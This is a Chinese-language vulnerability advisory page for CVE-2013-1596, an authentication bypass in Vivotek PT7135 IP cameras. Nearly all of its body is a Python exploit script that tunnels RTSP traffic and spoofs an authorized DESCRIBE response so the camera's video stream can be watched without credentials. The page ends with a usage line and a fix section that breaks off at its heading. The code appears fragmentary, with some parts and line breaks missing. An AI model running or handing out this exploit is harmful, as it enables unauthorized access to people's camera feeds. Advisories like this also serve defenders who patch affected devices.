首页 / 操作系统 / Linux / 多个Vivotek IP摄像机远程身份验证绕过漏洞(CVE-2013-1596)
发布日期:2013-04-30 更新日期:2013-05-03受影响系统: Vivotek PT7135 IP camera 0400a Vivotek PT7135 IP camera 0300a 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 59574 CVE(CAN) ID: CVE-2013-1596
def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception("There is already a dispatcher for port %d" % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(("", self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove( self ) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log("[*] Redirecting: localhost:%s -> %s:%s" % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(("", src_port)) self.sock.listen(5)
def spoof_rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req: log("[!] Unauthorized response received. Spoofing...") spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search(".*CSeq:\s*(\d+?)
.*", self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = "RTSP/1.0 200 OK
" data+= "CSeq: %s
" % cseq data+= "Content-Type: application/sdp
" data+= "Content-Length: %d
" % len(spoofed_describe) data+= "
" # Attach the spoofed describe data+= spoofed_describe elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search(".*%s\s*(.+?)[;|
].*" % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split("-")) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass return data if __name__ == "__main__": if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print "usage: python %s [local_port] [camera_ip] [camera_rtsp_port]"建议: -------------------------------------------------------------------------------- 临时解决方法: